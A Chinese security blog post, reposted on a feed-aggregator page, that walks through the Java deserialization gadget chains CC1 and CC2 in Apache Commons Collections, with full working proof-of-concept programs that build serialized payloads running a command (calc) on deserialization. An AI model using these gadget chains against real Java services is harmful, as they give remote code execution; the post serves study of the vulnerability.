惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Application and Cybersecurity Blog
Application and Cybersecurity Blog
月光博客
月光博客
Y
Y Combinator Blog
P
Proofpoint News Feed
Forbes - Security
Forbes - Security
美团技术团队
博客园 - Franky
Attack and Defense Labs
Attack and Defense Labs
T
Tor Project blog
T
The Blog of Author Tim Ferriss
C
CERT Recently Published Vulnerability Notes
U
Unit 42
人人都是产品经理
人人都是产品经理
V2EX - 技术
V2EX - 技术
L
Lohrmann on Cybersecurity
罗磊的独立博客
博客园 - 聂微东
C
Cybersecurity and Infrastructure Security Agency CISA
N
News and Events Feed by Topic
大猫的无限游戏
大猫的无限游戏
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
H
Help Net Security
Security Archives - TechRepublic
Security Archives - TechRepublic
Microsoft Azure Blog
Microsoft Azure Blog
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
W
WeLiveSecurity
P
Privacy International News Feed
爱范儿
爱范儿
J
Java Code Geeks
Blog — PlanetScale
Blog — PlanetScale
The Cloudflare Blog
T
Threat Research - Cisco Blogs
云风的 BLOG
云风的 BLOG
F
Full Disclosure
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
Hugging Face - Blog
Hugging Face - Blog
T
Tenable Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Hacker News: Ask HN
Hacker News: Ask HN
TaoSecurity Blog
TaoSecurity Blog
B
Blog RSS Feed
Google Online Security Blog
Google Online Security Blog
D
Docker
Martin Fowler
Martin Fowler
I
Intezer
阮一峰的网络日志
阮一峰的网络日志
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
Security Affairs
T
Tailwind CSS Blog
IT之家
IT之家

博客园_首页

Plist 二进制格式 Milvus 和 PGVector,哪个更好? OpenClaw 已过时?在 VS Code 中运行 Hermes Agent! 第30篇文章:一个大三计科生的自白 Manim如何在数学公式中完美显示中文? Docker 部署 RocketMQ 5 并发编程核心概念辨析 C#事务处理最佳实践:别再让“主表存了、明细丢了”的破事发生 CLI 是什么?为什么大厂突然集体卷命令行? 【从0到1构建一个ClaudeAgent】协作-自主Agent UIImageView 设置图片不生效的原因排查 最小二乘问题详解20:无先验约束下的增量式SFM自由网平差 痞子衡嵌入式:大话双核i.MXRT1180之XIP应用里借助MU实现可靠Flash IAP的方法 AI Chat 封装, SemanticKerne.AiProvider.Unified 已发布 Windows下右键编辑js文件无法打开记事本——在注册表中使用环境变量 在后台服务中使用 Scoped 服务,为什么总是报错? H200 安装驱动并使用sglang启动模型 wireshark 抓包Trap上报告警内容 我用 AI 辅助开发了一系列小工具(2):图片压缩工具 [A Primer On MC and CC] 2.1 Memory Consistency 1 - 指令重排序和 SC 模型 Oracle数据库SCN推进技术详解与实践指南 玩转控件:封装个带图片的Label控件 Claude Code 4.7 真正该升级的不是模型,而是你的工作流 前端小白一句话,AI 帮我做了个颜值拉满的桌面媒体播放器。当代码不再是门槛,一句话编程就是现实。 5. WorkBuddy: 小龙虾的灵魂三件套,让你的小龙虾不只是工具 SQLite 分片方案实战:三种分片策略的深度对比 告别简陋 UI!一款基于 Fluent Design 和基于 WinUI 的开源免费、现代化的 Avalonia UI 控件库 关于二进制排列组合枚举的总结 AI开发-python-LangGraph框架(3-27-LangGraph从零实现大模型智能决策工作流) ElasticSearch主分片和副本分片概念详解 【002】HTTPS 粗解:证书、TLS 握手与对后端配置的影响 Hermes Agent 一周暴涨五万 Star,但我劝你别急着追 明明连接的是Redis的DB0,为什么能查到DB3的数据? 【从0到1构建一个ClaudeAgent】协作-Agent团队 熟悉电子元器件之后,电子小白下一步该怎么走? MAF快速入门(23)通过C#类定义Skills .NET 高级开发 | 手写一个对象映射框架 FastAPI数据库ORM怎么选?我肝了三个Demo后,终于不再纠结了 mysqldump 参数拾遗:在遗忘与铭记之间 C# .NET 周刊|2026年3月5期 Claude code入门 - 陈彦斌 一文学习入门 ThingsBoard 开源物联网平台 GitHub 热门项目 | 2026年04月16日 如何为GIT设置全局勾子,为每次提交追加信息 Number.isFinite和isFinite与isNaN()和Number.isNaN的区别 PortSwigger SQL注入LAB2 推荐一个测试人必备的Skills,从功能到性能全搞定(附详细实操和安装下载方式) 筑基期:掌握Odoo基础核心知识点02(Odoo XML 开发方式详解) GLM模型这么火,咱们用vllm也咧一个呗! 深入理解 AbortController:从底层原理到跨语言设计哲学 字符串学习笔记 多租户系统框架的基础模块设计和分析设计 Apache SeaTunnel Zeta 为什么能做到“又快又稳”? AI开发-python-LangGraph框架(3-26-LangGraph基本概念及第一个简单样例) Vue 3 组件通信,别只会用 Props 和 Emits 了,这几个狠活儿你得看看 ElasticSearch7.X版本配置密码 用Manim实现动态交点计算--从一个动点问题说起 团结引擎+Addressable+Instant Game打包抖音小游戏 function call 实战:让 LLM 自动判断 pod 异常、调用日志工具并完成故障分析 bubseek —— 让 Agent 的足迹,变成团队的洞察 通过 C# 读取并导出 PDF 书签 如何用 GitHub Actions 实现 Steam 自动化发布 【从0到1构建一个ClaudeAgent】并发-后台任务 .NET 高级开发 | 定制 ASP.NET Core 框架 电子小白:什么是运算放大器(运放) zero2Agent:面向大厂面试的 Agent 工程教程,从概念到生产的完整学习路线 堆上的ORW HC32F460 USB CDC通信异常:非对齐访问异常排查 20260413-Hyperbridge 攻击事件:发生在默克尔山上的验证绕过 那些喊着AI 要淘汰你的人,正在靠你的焦虑赚大钱! 深度学习进阶(八)Swin Transformer 最小二乘问题详解19:带先验约束的增量式SFM优化与实现 SnapTranslate 3.0 正式发布:全局划词翻译 + 完整英语学习闭环,一站式搞定查词、记词、复习 工作的意义、工作的困难认知再思考 .NET + AI 进阶实战:基于类的技能开发 - 打造可治理的 Agent 能力模块 【从0到1构建一个ClaudeAgent】规划与协调-技能 上周热点回顾(4.6-4.12) 电子小白的工具三件套:面包板、杜邦线、万能板 单表五亿数据的查询优化 | Mysql、StarRocks 2. WorkBuddy:从“我是谁”到“帮我干活” C# 如何减少代码运行时间:7 个实战技巧 基于HelixToolkit.SharpDX 渲染3D模型 - 笺上知微 从零开始的双臂具身VLA起源及现阶段发展综述 - SkyXZ 记对 xonsh shell 的使用, 脚本编写, 迁移及调优 - pluvium27 受够了Vibe Coding的失控?换个起点,让AI事半功倍 从开始配置漏洞环境到漏洞复现流程 - 難しい 关于10年工作经验的程序员对OpenClaw的实战经验分享以及看法 - 虚无境 Any metadata 的内存布局 C# .NET 周刊|2026年3月2期 - InCerry 我帮你测过了,测试圈排名第二的 Skill 依然很牛逼 Skill Discovery | 无监督技能发现的经典工作总结 - MoonOut 上下文工程是什么?过时了么?一文讲明白! - 一枫说码 开了 TUN 模式还是直连?90% 的人都踩过这个坑 AScript扩展多种脚本语言 - rockey627 AI 学习笔记:Agent 的记忆机制 你能被装进一个文件里吗?——7 万人把同事"蒸馏"成了 AI - 我没有三颗心脏 Claude Code 通关手册(七):给 AI 装上技能包——Skills 完全指南 - 暮色之狐 在浏览器中快速编辑代码:VSCode Web 集成实践 - Newbe36524 蒸馏自己 skill?基于 Deepseek 的蒸馏器,丐版蒸馏方式,简单便捷 - To_Carpe_Diem Spring AI Aliababa和AgentScope,哪个更好? - 苏三说技术
【Java安全】CC链分析(CC1+CC2)
dynasty_chen · 2026-05-09 · via 博客园_首页

CC链分析

CC链1

环境部署

image-20260325163223545

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

流程分析

入口:org.apache.commons.collections.Transformer

image-20260325163333824

其中有21个实现方法

我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求

image-20260325164120837

入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法

input,iMethodName,iParamTypes,iArgs都是可控的

image-20260325163614548

//我们来回顾一下如何利用反射调用Runtime中的exec方法
Runtime r=Runtime.getRuntime();
Class c=r.getclass();
Method m=c.getMethod("exec",String.class);
m.invoke(r,"calc");

//那么我们尝试用transform方法来调用
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
exec.transform(runtime);

image-20260325165249582

可以看到,成功执行了命令,那么我们就找到了源头利用点了,接下来就是一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类

寻找某个类中的某个方法调用了transform方法

看到org.apache.commons.collections.map.TransformedMap下的checkSetValue

//我们找到该类的构造器和checkSetValue方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    //接受三个参数,第一个为Map,第二个和第三个就是Transformer我们需要得了,可控。
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;//这里是可控的
}


protected Object checkSetValue(Object value) {//接受一个对象类型的参数
    return this.valueTransformer.transform(value);
    //返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的in
}

但是这里有个问题,可以看到构造器和方法都是proteced权限,也就是说只能本类内部访问,不能外部调用去实例化,那么我们就需要找到内部实例化的工具,这里往上查找,可以找到一个public的静态方法decorate

一个静态 方法,这里我们就能控制参数

image-20260402165332907

现在调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们暂时不能控制,全局搜索checkSetvalue,看谁调用了它,并且value值可受控制

寻找合适的调用了checkSetValue的方法

AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类

image-20260402172729665

image-20260402172919078

当我们看到了setValue字样就应该想起来,我们在遍历集合的时候就用过setValuegetValue,所以我们只要对decorate这个map进行遍历setValue,由于``TransformedMap继承了 AbstractInputCheckedMapDecorator`类,因此当调用setValue时会去父类寻找

重新梳理一遍

首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是protected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对,然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的副类,这个重写的方法刚好调用了checkSetValue方法

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class second {
    public static void main(String[] args) {
        Runtime r  = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        for (Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
        }
    }
}

image-20260402180426383

但这只是一个插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能

追寻setValue

追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且还是在重写的readObject中调用的setValue

image-20260402183133211

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        ObjectInputStream.GetField fields = s.readFields();

        @SuppressWarnings("unchecked")
        Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
        @SuppressWarnings("unchecked")
        Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(t);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        // consistent with runtime Map type
        Map<String, Object> mv = new LinkedHashMap<>();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
            String name = memberValue.getKey();
            Object value = null;
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    value = new AnnotationTypeMismatchExceptionProxy(
                                objectToString(value))
                        .setMember(annotationType.members().get(name));
                }
            }
            mv.put(name, value);
        }

image-20260402183335774

我们分析下这个类,未用public声明,说明只能通过反射调用

查看一下构造方法,传入一个class和Map,其中class继承了Annotation,也就是需要传入一个注解类进去,这里我们选择Target

image-20260402210520241

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class third {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        Runtime r  = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
    }
}

现在有个难题是Runtime类是不能被序列化的,但是反射来的类可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:

Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

现在还有个小问题,其中我们的transformedmap是传入了一个invokertransformer,但是现在这个对象没有了,被拆成了多个,就是上述的代码,得想办法统合起来,这里就需要回到最初的Transformer接口里去寻找,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法

image-20260402212818690

我们就可以这样构造:

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);

进一步构造

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class third {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filenaem) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filenaem);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("1","2");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

但是这里反序列化并不能执行命令,原因在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看

image-20260402213858785

要想触发setValue得先过两个if判断,先看第一个if判断,memberType不为空,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性是哪里来的?就是我们最先传入的map map.put("1","2")

获取这个name: 1 ,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类

image-20260402214053600

Target是有value这个属性的,所以我们改一下map,map.put("value",1),这样我们就过了第一个if,接着第二个if,这里value只要有值就过了,成功到达setValue,但这里还有最后一问题,如何让他调用Runtime.class?这里又得提到一个类,ConstantTransformer,这个类的特点就是我们传入啥,它直接就返回啥

image-20260402214616534

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class third {
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fos = new FileOutputStream("cc1.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","1");
        Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);
        serialize(o);
        deserialize("cc1.bin");
    }
}

这里要注意降低 JDK 版本到 8u40

以上是其中一条CC1,还有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform

image-20260402220611510

再去看它的构造方法,factory需要我们控制,同样在类内部找哪里调用了这个构造方法

image-20260402220753317

很明显,跟之前类似,就是从checkValue换到了get

image-20260402223851487

那么get在哪里调用的,还是在AnnotationInvocationHandler,它的invoke方法调用了get

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

这里是个动态代理,我们可以用AnnotationInvocationHandler来代理LazyMap,这样就会触发invoke方法

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void serialize(Object obj) throws IOException {
        try (FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(obj);
        }
    }

    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        try (FileInputStream fis = new FileInputStream(filename);
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            ois.readObject();
        }
    }

    public static void main(String[] args) throws Exception {
        // 1. 构造执行命令的 Transformer 链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        // 2. 构造 LazyMap(关键:先不执行,避免序列化时触发)
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        // 3. 获取 AnnotationInvocationHandler 构造器
        Class<?> handlerClazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = handlerClazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        // 4. 直接构造 AnnotationInvocationHandler,不需要 Proxy!
        Object handler = constructor.newInstance(Target.class, lazyMap);

        // 5. 序列化 + 反序列化触发
        serialize(handler);
        deserialize("cc1_lazymap.bin");
    }
}

CC链2

环境部署

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>

前置知识(POC1)

Java cc链是什么,cc指的是commons-collections依赖库。它添加了许多强大的数据结构类型并且实现了各种集合工具类。

它被广泛的用于Java应用开发中。

PriorityQueue

PriorityQueue优先级队列是基于优先级堆的一种特殊队列,会给每个元素定义出”优先级“,取出数据的时候会按照优先级来取。

默认优先级队列会根据自然顺序来对元素排序。

而想要放入PriorityQueue的元素,就必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。

如果没有实现 Comparable 接口,PriorityQueue 还允许我们提供一个 Comparator 对象来判断两个元素的顺序。

image-20260505155516519

可以看到它继承了AbstractQueue抽象类并且实现了Serializable接口,这就说明它支持反序列化,再来看看它重写的readObject()方法

image-20260505160507758

可以看到上面的方法会调用ObjectInputStream的实例化对象s把queue中的数据进行反序列化

最后再用heapify();来对数据进行排序,再跟进一下heapify()方法

该方法调用siftDown()方法

image-20260505160930998

当i>=0时进入for循环,而i=(size >>> 1)-1将size进行了右移操作,所以size>1才能进入循环

image-20260505160947157

在comparator属性不为空的情况下,调用siftDownUsingComparator()方法

image-20260505161358959

如果为空会创建Comparable比较器并调用compare()方法来排序

image-20260505161408923

这样反序列化后的优先级队列就有了顺序

TransformingComparator

这是触发漏洞的关键点,把Transformer执行点和PriorityQueue触发点结合起来

用Transformer来装饰一个Comparator(比较器),通俗点说就是先把值给Transformer转换,再传递给Comparator比较

image-20260505162522062

compare()方法会先用this.transformer.transform(obj1)方法来转换两个要比较的值

然后再调用compare()方法比较。

POC1分析

package com.example.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC1 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1, Tcomparator);

        queue.add(1);
        queue.add(2);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

通过反射获取Runtime对象

image-20260506132759879

image-20260506132822049

当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;将transformerChain传入TransformingComparator,从而调用transformer方法;new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入

image-20260506134253434

前面说到,size的值要大于1,所以向queue中添加两个元素

添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没cc2.txt

调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator

image-20260506140421131

继续跟,跟进queue.add(2),调用了offer方法

image-20260506141636546

跟进offer方法,进入else分支,调用了siftup方法

image-20260506141704300

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法

image-20260506141732830

继续跟

image-20260506141917495

跟进,这里会执行两次命令;

image-20260506142212018

但是return的值为0,程序就结束了,并没有执行poc后面序列化和反序列化的代码。

那么如何让return不为0呢

既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable,即comparator参数为null,修改代码,不传入comparator参数

PriorityQueue queue = new PriorityQueue(1);

再调试看看

这下comparator参数为null;

image-20260506142931900

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法

image-20260506143941907

这样就只是单纯给queue[1]

image-20260506144039937

返回后就执行序列化代码生成了cc2.txt,但是并没有执行命令,还是不行

上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
 field.set(queue,Tcomparator);

这样comparator参数就不为null,当反序列化时调用readObject方法就会进入siftUpUsingComparator方法,调用compare方法,从而执行命令

完整poc1

package com.example.cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class POC1 {
    public static void main(String[] args) throws IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,Tcomparator);

        try{
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
            outputStream.writeObject(queue);
            outputStream.close();
            System.out.println(barr.toString());

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

前置知识(POC2)

Javassit

简述:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

示例代码

package com.example.cc2;

import javassist.*;

public class javassit_test {

